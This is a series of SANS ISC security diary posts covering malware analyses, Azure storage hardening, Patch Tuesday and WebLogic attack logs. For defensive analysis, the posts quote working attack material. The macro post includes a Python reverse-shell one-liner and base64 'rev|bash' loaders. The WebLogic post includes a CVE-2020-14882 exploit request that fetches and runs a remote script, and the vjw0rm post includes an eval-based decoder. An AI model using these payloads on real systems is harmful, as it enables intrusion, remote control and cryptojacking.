I've updated my oledump.py to add a ! indicator for such streams:

I also compiled an overview of oledump's indicators.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-11-13

Old Worm But New Obfuscation Technique

Yesterday I found an interesting JavaSvript script delivered through a regular phishing campaign (SHA256:70c0b9d1c88f082bad6ae01fef653da6266d0693b24e08dcb04156a629dd6f81) and has a VT score of 17/61[1]

The script obfuscation is simple but effective: the malicious code is decoded and passed to an eval() function to be executed:

function wrwrwrwererw(iyuiyiyuiyiyyui,jljkljkllljkllklklkj) {
    var wqwqsdasda;
    var popopoppop="";
    var xxxxxxxzzzzzzzzzz=(iyuiyiyuiyiyyui+"").split("");
    var rwerwwrwrww0=(jljkljkllljkllklklkj+"").split("");
    var ererrer545=rwerwwrwrww0.length;
    for (var aaaaa888=0;aaaaa888<xxxxxxxzzzzzzzzzz.length;aaaaa888++){
        wqwqsdasda=xxxxxxxzzzzzzzzzz[aaaaa888].charCodeAt(0);
        popopoppop+=String.fromCharCode(+wqwqsdasda-+1000-(ererrer545+10));
    }
    return popopoppop;
}

WScript.Sleep(5000);
eval(wrwrwrwererw(" <malicious_data> ", "123");

The payload is a string of Unicode characters converted one by one through the wrwrwrwererw() function.

The first character is the 'cyrillic capital letter ef' which has the decimal code 1060. The decoding is performed by the following line:

popopoppop+=String.fromCharCode(1060-1000-(3+10));

The returned char will be '/' (ASCII code 47). You don't have to decode this manually, just replace eval() by echo() and you'll get the decoded script. Let's have a look at it. The new script is also obfuscated but it remains easy to read. At the very beginning of the script, you have got this line:

var g = ["HKCU","HKLM","HKCU\\vjw0rm","\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","HKLM\\SOFTWARE\\Classes\\","REG_SZ","\\defaulticon\\"];

It's a sample of the vjw0rm worm that was discovered for the first time in 2018! [2]. If you want to have a look at the code, a version is available on GitHub.[3]

This worm has been used multiple times in miscellaneous campaigns and it seems to be still active today. The C2 server is hxxp://dhanaolaipallets[.]com:7974/. Note that, thanks to the new obfuscation technique, the VT score remains low!

[1] https://www.virustotal.com/gui/file/70c0b9d1c88f082bad6ae01fef653da6266d0693b24e08dcb04156a629dd6f81/detection/
[2] https://www.f-secure.com/v-descs/worm_js_vjw0rm.shtml
[3] https://gist.github.com/drole/c22fd13f524f2843c004ecabbce84bb5

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-11-12

Preventing Exposed Azure Blob Storage

In the previous diary, I explained the three public access levels of Azure Blob Storage, and how to investigate the setup for any issues. Until a couple of months ago, there was no reliable way to prevent the problem from occurring in the first place, but thankfully, Microsoft has finally seen the light.

At the level of the Storage Account, there is now a new setting "Allow Blob Public Access", which can be set to "Disabled".  

Once disabled, the access level set on the containers within this storage account no longer matters, public unauthenticated access will always be denied:

This adds a welcome additional safety net, because the Containers within this storage account cannot be set to "public access" anymore, not even by mistake:

Even better, there is now also a "preview" rule available for this setting in Azure Policies. Go to Policies -> Definitions, then search for "Public", to find the Policy Definition named "[Preview]: Storage account public access should be disallowed". 

Click on it, select "Assign", and push it to a scope of your choice. Set the parameter to "Deny", and once the policy is active, new storage accounts can only be created in your tenant or subscription if they have public access turned off. If the corresponding setting ("Allow Blob Public Access") under the "Advanced" tab of the "Create storage account" dialog is not set to "disabled", all new storage account creation attempts will fail.

Refer to https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent and https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure for more information, how to audit for issues before pushing a "deny" rule, and any other possible side effects. But once you have this resolved and rolled out as a "deny" policy for your Azure subscription or tenant, you'll sleep better, knowing that you significantly reduced the likelyhood of accidential data breaches via exposed storage accounts in your environment.
 

0 Comments

Published: 2020-11-12

Exposed Blob Storage in Azure

With the headline "Improperly Configured AWS S3 Bucket Exposes 10 Million Hotel Guest Records" in this week's SANS NewsBites, I wanted to shed a little light on the same problem, but in Azure.

Microsoft Azure Blob Storage is very similar to AWS S3, and comes in three access control flavors:

  • "Private" is thankfully the default. and turns off anonymous public access
  • "Blob" allows unauthenticated public access to a file, as long as you know its name
  • "Container" is the same as blob, but also allows to list the folder contents

You can check the configured access level by looking at your Azure resources, clicking on the storage accounts, and then drilling down into the storage containers present:

An access level of "Blob" can be sufficient for something like a public website. It behaves very similar to a web server - if someone knows or can guess the file name, they can access the file, no questions asked.  For business data, this level of access is dangerous though, because its "security" basically just relies on your assumption that nobody else knows or can guess the file name. More often than not, this assumption turns out to be ill-advised. Other files that you intentionally share publicly might have a similar naming structure, or you maybe are using easily guessable names to begin with. In a nutshell: If you would consider a file too sensitive to store on your public web server, don't store it in a Azure container with "Blob" access, either.

An access level of "Container" is the same as "Blob", but worse. An attacker just needs to know the name of the Storage Account itself. That's the part of the name in front of the *.blob.core.windows.net URLs that you certainly have encountered before. That name space is pretty small, because the Storage Account Name has to be unique across all Azure tenants (Microsoft Azure Customers).  While creating a new storage account, "name collisions" are therefore quite frequent:

The container name itself (one level below the storage account) only needs to be unique per storage account though, and cannot be directly enumerated. Therefore, even accounts that are exposed at access level "Container" retain a tiny modicum of security-by-obscurity, presumed that your container is indeed named obscurely. In my example shown, the container is named "logs", and would likely be discovered real quick once someone develops any interest in my "temporaryexampleonly" container. Enumerating the contents is then only one API call away, and the resulting XML/JSON is readily machine parseable to extract the URLs of all the files in the container. Once the file and path names are known, the files can be obtained even if the access level is later changed back to "Blob".


One way to quickly find out if you have exposed Containers in your Azure Storage setup is to use Azure Security Center (ASC).  Even at the "Free" tier, you will see recommendations like these:

If your ASC displays this recommendation for any of your storage accounts, take it seriously, and investigate if the flagged resource is public-by-design, or public-by-mistake. 

In the next diary, I'm going to show how you can reliably prevent the problem from occurring in the first place.
 

0 Comments

Published: 2020-11-11

Traffic Analysis Quiz: DESKTOP-FX23IK5

Introduction

It's time for another ISC traffic analysis quiz!  Like previous quizzes, this one consists of a packet capture (pcap) of infection traffic, and you also get a list of the alerts (both as an image where the alerts are shown in Squil and a text file with more details).

You can find the pcap and alerts here.

What type of infection is this?  The alerts file should tell you.  I also have a text file with notes that better explains what this infection is, in case the alerts don't clearly provide you with answers.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

Unlike previous exercises, there are no actual malware binaries in the traffic.  Some encoded binary objects can be extracted from the pcap, but they are not malicious on their own.

Final words

Again, files associated with this quiz (pcap, alerts, and notes) can be found here.

If you found this fun, we have previous traffic analysis quizzes:

---
Brad Duncan
brad [at] malware-traffic-analysis.net

1 Comments

Published: 2020-11-10

Microsoft November 2020 Patch Tuesday

This month we got patches for 112 vulnerabilities. Of these, 17 are critical and one was previously disclosed and is already being exploited according to Microsoft.

Amongst critical vulnerabilities, there is a CVSSv3 9.8 remote code execution in Windows Network File System (CVE-2020-17051). There are no details regarding the vulnerable component neither how the vulnerability could be exploited. The vulnerability affects virtually all supported Windows versions and is classified by Microsoft as ‘Exploitation More Likely’ which means that an exploit could be created in such a way that an attacker could consistently exploit this vulnerability.

The exploited and already disclosed one is a Windows Kernel Local Elevation of Privilege vulnerability (CVE-2020-17087). This vulnerability has been chained with Google Chrome CVE-2020-15999 to perform privilege escalation and gain administrator access to a system. More details about this vulnerability can be found at [1].

A third vulnerability worth mentioning here is remote code execution (RCE) in Microsoft Sharepoint (CVE-2020-17061). According to the advisory, it requires no user interaction and is classified as ‘Exploitation More Likely’.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
AV1 Video Extension Remote Code Execution Vulnerability
%%cve:2020-17105%% No No Less Likely Less Likely Critical 7.8 6.8
Azure DevOps Server and Team Foundation Services Spoofing Vulnerability
%%cve:2020-1325%% No No Less Likely Less Likely Important 5.4 4.7
Azure Sphere Denial of Service Vulnerability
%%cve:2020-16986%% No No Less Likely Less Likely Important 6.2 5.4
Azure Sphere Elevation of Privilege Vulnerability
%%cve:2020-16981%% No No Less Likely Less Likely Important 6.1 5.3
%%cve:2020-16988%% No No Less Likely Less Likely Critical 6.9 6.0
%%cve:2020-16989%% No No Less Likely Less Likely Important 5.4 4.7
%%cve:2020-16992%% No No Less Likely Less Likely Important 7.5 7.5
%%cve:2020-16993%% No No Less Likely Less Likely Important 5.4 4.7
Azure Sphere Information Disclosure Vulnerability
%%cve:2020-16985%% No No Less Likely Less Likely Important 6.2 5.4
%%cve:2020-16990%% No No Less Likely Less Likely Important 6.2 5.4
Azure Sphere Tampering Vulnerability
%%cve:2020-16983%% No No Less Likely Less Likely Important 5.7 5.0
Azure Sphere Unsigned Code Execution Vulnerability
%%cve:2020-16970%% No No Less Likely Less Likely Important 8.1 7.1
%%cve:2020-16982%% No No Less Likely Less Likely Important 6.1 5.3
%%cve:2020-16984%% No No Less Likely Less Likely Important 6.2 5.4
%%cve:2020-16987%% No No Less Likely Less Likely Important 6.2 5.4
%%cve:2020-16991%% No No Less Likely Less Likely Important 6.2 5.4
%%cve:2020-16994%% No No Less Likely Less Likely Important 6.2 5.4
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2020-17048%% No No Less Likely Less Likely Critical 4.2 3.8
%%cve:2020-17054%% No No Less Likely Less Likely Important 4.2 3.7
DirectX Elevation of Privilege Vulnerability
%%cve:2020-16998%% No No More Likely More Likely Important 7.0 6.1
HEIF Image Extensions Remote Code Execution Vulnerability
%%cve:2020-17101%% No No Less Likely Less Likely Critical 7.8 6.8
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2020-17106%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2020-17107%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2020-17108%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2020-17109%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2020-17110%% No No Less Likely Less Likely Critical 7.8 6.8
Internet Explorer Memory Corruption Vulnerability
%%cve:2020-17053%% No No More Likely More Likely Critical 7.5 6.7
Kerberos Security Feature Bypass Vulnerability
%%cve:2020-17049%% No No Less Likely Less Likely Important 6.6 5.8
Microsoft Browser Memory Corruption Vulnerability
%%cve:2020-17058%% No No Less Likely Less Likely Critical 7.5 6.7
Microsoft Defender for Endpoint Security Feature Bypass Vulnerability
%%cve:2020-17090%% No No Less Likely Less Likely Important 5.3 4.6
Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability
%%cve:2020-17005%% No No - - Important 5.4 4.7
%%cve:2020-17006%% No No Less Likely Less Likely Important 5.4 4.7
%%cve:2020-17018%% No No Less Likely Less Likely Important 5.4 4.7
%%cve:2020-17021%% No No Less Likely Less Likely Important 5.4 4.7
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-17019%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17064%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17065%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17066%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Excel Security Feature Bypass Vulnerability
%%cve:2020-17067%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Exchange Server Denial of Service Vulnerability
%%cve:2020-17085%% No No Less Likely Less Likely Important 6.2 5.4
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2020-17083%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2020-17084%% No No Less Likely Less Likely Important 8.5 7.4
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2020-17062%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Office Online Spoofing Vulnerability
%%cve:2020-17063%% No No Less Likely Less Likely Important 6.8 5.9
Microsoft Raw Image Extension Information Disclosure Vulnerability
%%cve:2020-17081%% No No Less Likely Less Likely Important 5.5 4.8
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2020-16979%% No No Less Likely Less Likely Important 5.3 4.6
%%cve:2020-17017%% No No Less Likely Less Likely Important 5.3 4.6
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2020-17061%% No No More Likely More Likely Important 8.8 7.7
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-17015%% No No Less Likely Less Likely Low 4.3 3.8
%%cve:2020-17016%% No No Less Likely Less Likely Important 8.0 7.0
%%cve:2020-17060%% No No Less Likely Less Likely Important 5.4 4.7
Microsoft Teams Remote Code Execution Vulnerability
%%cve:2020-17091%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Word Security Feature Bypass Vulnerability
%%cve:2020-17020%% No No Less Likely Less Likely Important 3.3 2.9
Raw Image Extension Remote Code Execution Vulnerability
%%cve:2020-17078%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2020-17079%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2020-17082%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2020-17086%% No No Less Likely Less Likely Important 7.8 6.8
Remote Desktop Protocol Client Information Disclosure Vulnerability
%%cve:2020-17000%% No No Less Likely Less Likely Important 5.5 4.8
Remote Desktop Protocol Server Information Disclosure Vulnerability
%%cve:2020-16997%% No No Less Likely Less Likely Important 7.7 6.7
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-17052%% No No More Likely More Likely Critical 7.5 6.7
Visual Studio Code JSHint Extension Remote Code Execution Vulnerability
%%cve:2020-17104%% No No Less Likely Less Likely Important 7.8 6.8
Visual Studio Tampering Vulnerability
%%cve:2020-17100%% No No Less Likely Less Likely Important 5.5 4.8
WebP Image Extensions Information Disclosure Vulnerability
%%cve:2020-17102%% No No Less Likely Less Likely Important 5.5 4.8
Win32k Elevation of Privilege Vulnerability
%%cve:2020-17010%% No No More Likely More Likely Important 7.8 6.8
%%cve:2020-17038%% No No More Likely More Likely Important 7.8 6.8
Win32k Information Disclosure Vulnerability
%%cve:2020-17013%% No No Less Likely Less Likely Important 5.5 4.8
Windows Bind Filter Driver Elevation of Privilege Vulnerability
%%cve:2020-17012%% No No Less Likely Less Likely Important 7.8 6.8
Windows Camera Codec Information Disclosure Vulnerability
%%cve:2020-17113%% No No Less Likely Less Likely Important 5.5 5.0
Windows Canonical Display Driver Information Disclosure Vulnerability
%%cve:2020-17029%% No No Less Likely Less Likely Important 5.5 4.8
Windows Client Side Rendering Print Provider Elevation of Privilege Vulnerability
%%cve:2020-17024%% No No Less Likely Less Likely Important 7.8 6.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2020-17088%% No No More Likely More Likely Important 7.8 7.2
Windows Delivery Optimization Information Disclosure Vulnerability
%%cve:2020-17071%% No No Less Likely Less Likely Important 5.5 4.8
Windows Error Reporting Denial of Service Vulnerability
%%cve:2020-17046%% No No Less Likely Less Likely Low 5.5 5.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2020-17007%% No No Less Likely Less Likely Important 7.0 6.1
Windows Function Discovery SSDP Provider Information Disclosure Vulnerability
%%cve:2020-17036%% No No Less Likely Less Likely Important 5.5 4.8
Windows GDI+ Remote Code Execution Vulnerability
%%cve:2020-17068%% No No Less Likely Less Likely Important 7.8 6.8
Windows Graphics Component Information Disclosure Vulnerability
%%cve:2020-17004%% No No Less Likely Less Likely Important 5.5 4.8
Windows Hyper-V Security Feature Bypass Vulnerability
%%cve:2020-17040%% No No Less Likely Less Likely Important 6.5 5.7
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-17035%% No No Less Likely Less Likely Important 7.8 6.8
Windows Kernel Local Elevation of Privilege Vulnerability
%%cve:2020-17087%% Yes Yes Detected Detected Important 7.8 7.2
Windows KernelStream Information Disclosure Vulnerability
%%cve:2020-17045%% No No Less Likely Less Likely Important 5.5 4.8
Windows MSCTF Server Information Disclosure Vulnerability
%%cve:2020-17030%% No No Less Likely Less Likely Important 5.5 4.8
Windows NDIS Information Disclosure Vulnerability
%%cve:2020-17069%% No No Less Likely Less Likely Important 5.5 4.8
Windows Network File System Denial of Service Vulnerability
%%cve:2020-17047%% No No Less Likely Less Likely Important 7.5 6.7
Windows Network File System Information Disclosure Vulnerability
%%cve:2020-17056%% No No More Likely More Likely Important 5.5 4.8
Windows Network File System Remote Code Execution Vulnerability
%%cve:2020-17051%% No No More Likely More Likely Critical 9.8 8.5
Windows Port Class Library Elevation of Privilege Vulnerability
%%cve:2020-17011%% No No Less Likely Less Likely Important 7.8 6.8
Windows Print Configuration Elevation of Privilege Vulnerability
%%cve:2020-17041%% No No Less Likely Less Likely Important 7.8 6.8
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2020-17001%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-17014%% No No Less Likely Less Likely Important 7.8 7.0
Windows Print Spooler Remote Code Execution Vulnerability
%%cve:2020-17042%% No No Less Likely Less Likely Critical 8.8 7.7
Windows Remote Access Elevation of Privilege Vulnerability
%%cve:2020-17055%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17025%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17026%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17027%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17028%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17031%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17032%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17033%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17034%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17043%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17044%% No No Less Likely Less Likely Important 7.8 6.8
Windows Spoofing Vulnerability
%%cve:2020-1599%% No No Less Likely Less Likely Important 5.5 4.8
Windows USO Core Worker Elevation of Privilege Vulnerability
%%cve:2020-17075%% No No Less Likely Less Likely Important 7.8 6.8
Windows Update Medic Service Elevation of Privilege Vulnerability
%%cve:2020-17070%% No No Less Likely Less Likely Important 7.8 6.8
Windows Update Orchestrator Service Elevation of Privilege Vulnerability
%%cve:2020-17073%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17074%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2020-17076%% No No Less Likely Less Likely Important 7.8 6.8
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2020-17077%% No No Less Likely Less Likely Important 7.8 6.8
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2020-17037%% No No Less Likely Less Likely Important 7.8 6.8
Windows WalletService Information Disclosure Vulnerability
%%cve:2020-16999%% No No Less Likely Less Likely Important 5.5 4.8
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2020-17057%% No No More Likely More Likely Important 7.0 6.1

 

References:
[1] https://attackerkb.com/topics/y8mmBHc710/cve-2020-17087-windows-kernel-local-privilege-escalation-0day?referrer=home

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

3 Comments

Published: 2020-11-09

How Attackers Brush Up Their Malicious Scripts

On Friday, I received a bunch of alerts from one of my YARA hunting rules. Several samples were submitted from the same account (through the VT API), from the same country (US), and in a very short period of time. All the submitted files were OLE2 files containing a malicious macro. All of them had a low VT score so it deserved some investigations. I downloaded the samples and had a look at them.

Indeed all OLE2 files contained the same main() macro:

sub Autoexec()
    Call Main
End Sub

Sub Auto_Open()
    Call Main
End Sub

Sub AutoOpen()
    Call Main
End Sub

Sub Workbook_Open()
    Call Main
End Sub

I extracted the VBA code via oledump and reviewed them chronologically (based on the upload time on VT). Here is the first version of the macro:

Private Sub Main()
  Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'")
End Sub

Nothing fancy, a simple macro based on a /bin/bash backdoor. The presence of Python code and the bash shell indicates that the macro is used in a targeted attack. Same remark for the RFC1918 IP address. The used port (4444) indicates probably the use of a Kali host by the attacker.

Then, the attacker added a notification popup (for debugging purposes?):

Private Sub Main()
    Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

'osascript' is a macOS tool that allows executing OSA scripts (AppleScript, JavaScript, etc.)[1]. We learned something new about the target: it uses a macOS device and the attacker speaks in French. We have this string in the OLE2 file:

Attribute VB_Name = "Feuil1" ("Feuille" means "Sheet")

Also, the displayed notification is in French/

Then the attacker another technique and tried to store the payload into the document comments:

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    Shell (sc)
End Sub

The next step was to obfuscate the payload by reversing the code and encoding in in Base64: 

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    sc = Right(sc, Len(sc) - 10)
    Shell ("echo """ & sc & """|rev|base64 -D|bash")
End Sub

Another version of the same technique:

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    Shell ("echo """ & sc & """|rev|base64 -D|bash")
End Sub

The next one is funnier: the attacker used the text2speech capabilities of macOS using the 'say' command. 

Private Sub Main()
    Shell ("echo ""KEDI5F2c""|rev|base64 -D|bash")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

And finally the latest version found with the Base64 data directly available in the macro:

Private Sub Main()
    Shell ("echo ""gCnsTKdJSatICLig2chJ2LulmYvIyWowGbhNmLzNXZj9mcwJWdz1Dc7kiMskCKv5WZslmZuMHKyAXdk5ycvByOpEDLpgybuVGbpZmLzhiMwVHZuM3bgsTKwwSKo8mblxWam5ycoIDc1RmLz92OpkCN0QDNsIiNz4CN24CO2EjLykTMigCK0NWZu52bj5yc7kSTBVkUUN1XLN0TT5Cdlt2YvNHLUVkTJ9lRB5Cdlt2YvNHK0V2aj92cuQXZrN2bz1zc7M3bsM3clN2byBnY1NHL0V2aj92cgQncvBXbpdCIj1CIu9Ga0lHc""|rev|base64 -D|bash")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

Note the Base64 data contains the same Python code as seen in the first version.

Based on all those findings, we can probably conclude that the attacker is preparing a macro to compromise a macOS user. Another red-team exercise on its way?

[1] https://osxdaily.com/2016/08/19/run-applescript-command-line-macos-osascript/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-11-08

Quick Tip: Extracting all VBA Code from a Maldoc

"How can I extract all VBA code with oledump from this malicious Word document?".

It's a question I get from time to time.

The answer: "oledump.py -s a -v sample.vir".

With -s a, you select all streams. And with -v, you decompress VBA code. The combination "-s a -v" makes that all module streams are selected and thier VBA code is decompressed:

If you need to know when each module starts, look for a line starting with "Attribute VB_Name = ".

One can also select all streams, and output their content as JSON data. I'll make a small update to oledump to add JSON output of VBA code.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-11-07

Cryptojacking Targeting WebLogic TCP/7001

This past week got some interesting logs targeting TCP/7001 (WebLogic CVE-2020-14882 - see previous diary[1][2]) looking to download and launch a shell script to install various cryptominer on the target. The shell script target SELINUX compatible hosts likely CentOS/RedHat, Ubuntu, etc to install various cryptominer applications.

If successful, the script installs a SSH authorized_key (see below) in the root account to provide access to the host after it has been compromised. If using WebLogic, the current advisory for CVE-2020-14882 is published here.

Log Example

20201106-073608: 192.168.25.9:7001-223.240.104.222:60620 data 'POST /wls-wsat/CoordinatorPortType11 HTTP/1.1\r\nHost: XX.XX.122.14:7001\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)\r\nContent-Length: 611\r\nConnection: close\r\nContent-Type: text/xml\r\nAccept-Encoding: gzip\r\n\r\n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>cd1 -fsSL http://45.9.148[.]37/b2f628fff19fda999999999/init.sh |sh</string> </void> </array> <void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'

Indicator of compromise

MD5
3112fb090700ed03755ffc84f552080a  init.sh
02e43830f8b1528c1aed200828f78e2d  config.json
3112fb090700ed03755ffc84f552080a  newsvc.sh
36971b02377bda17e29c75cd6194ebad  svcguard
149c79bf71a54ec41f6793819682f790  svcupdate
8ef6437f966f1cc7c78f443a17968a10  svcworkmanager

SHA256
bdd467bce95969caeb5963ba817036e0123253a992ad5a0f4815c7e980bcfb10  init.sh and newsvc.sh
29996267aba0bd7739037639b857dcefff8b5d7c79f54780e9cbf607979f7eba  config.json
e38c1f4eef131aa74fad40ea39d95ef298e39f6c6690ac6b9eac77307f535056  svcguard
e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7  svcupdate
d3466a191b5185a4007faf8949117df5c77907eea9121c7e8308f2a5a736b3fc  svcworkmanager

Initial Download
http://45.9.148[.]37/b2f628fff19fda999999999/init.sh
http://45.9.148[.]37/E5DB0E07C3D7BE80V201007/init.sh
http://global.bitmex.com[.]de/b2f627fff19fda/init.sh
http://185.181.10[.]234/E5DB0E07C3D7BE80V520/init.sh

File Download
http://103.125.218[.]107/b2f628/newsvc.sh"
http://45.9.148[.]37/b2f628fff19fda999999999/newsvc.sh"
http://103.125.218[.]107/b2f628/config.json"
http://45.9.148[.]37/b2f628fff19fda999999999/config.json"
http://103.125.218[.]107/b2f628/svcworkmanager"
http://45.9.148[.]37/b2f628fff19fda999999999/svcworkmanager"
http://103.125.218[.]107/b2f628/svcguard"
http://45.9.148[.]37/b2f628fff19fda999999999/svcguard"
http://update.aegis.aliyun[.]com/download/uninstall.sh
http://update.aegis.aliyun[.]com/download/quartz_uninstall.sh

Currently Unavailable
http://103.125.218[.]107/b2f628/iplog.php
http://45.9.148[.]37/b2f628fff19fda999999999/iplog.php
http://103.125.218[.]107/b2f628/iplog.php
http://45.9.148[.]37/b2f628fff19fda999999999/iplog.php

Bitcoin Mining Pool

xmr.f2pool[.]com:13531
xmr-eu2.nanopool[.]org:14444
randomxmonero.hk.nicehash[.]com:3380

User ID in config.json

"user": "43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR.vsyd"

SSH authorized_keys

"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfg
O06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfs
xXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17"

[1] https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/
[2] https://isc.sans.edu/forums/diary/Attackers+Exploiting+WebLogic+Servers+via+CVE202014882+to+install+Cobalt+Strike/26752/
[3] https://www.virustotal.com/gui/file/bdd467bce95969caeb5963ba817036e0123253a992ad5a0f4815c7e980bcfb10/detection
[4] https://www.virustotal.com/gui/file/29996267aba0bd7739037639b857dcefff8b5d7c79f54780e9cbf607979f7eba/detection
[5] https://www.virustotal.com/gui/file/e38c1f4eef131aa74fad40ea39d95ef298e39f6c6690ac6b9eac77307f535056/detection
[6] https://www.virustotal.com/gui/file/e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7/detection
[7] https://www.virustotal.com/gui/file/d3466a191b5185a4007faf8949117df5c77907eea9121c7e8308f2a5a736b3fc/detection
[8] https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Coinminer.Linux.MALXMR.UWEJJ
[9] https://www.oracle.com/security-alerts/alert-cve-2020-14750.html#AppendixFMWl

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2020-11-06

Rediscovering Limitations of Stateful Firewalls: "NAT Slipstreaming" ? Implications, Detections and Mitigations

[This is a guest diary by Yee Ching Tok. Feedback welcome either via comments or our contact page]

